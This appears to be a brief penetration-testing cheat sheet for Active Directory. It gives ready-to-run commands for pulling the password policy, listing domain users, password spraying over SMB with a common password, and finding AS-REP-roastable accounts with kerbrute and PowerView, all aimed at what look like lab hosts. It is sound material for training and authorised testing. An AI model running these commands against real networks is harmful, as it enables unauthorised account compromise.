With Username

Get the password policy

You need credentials for getting the password policy, but you should get the policy before starting a password spraying

cme <ip> -u "user" -p "password" --pass-pol

Making a Target User List

enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

Password Spraying

sudo cme smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

ASREPRoast

Identify vulnerable account with enabled "Do not require preauthentication" option.

Kerbrute

kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 

PowerView

Get-DomainUser -PreauthNotRequired -Properties SamAccountName

If we found a hash and we want to crack them:

Hash Cracking

Last updated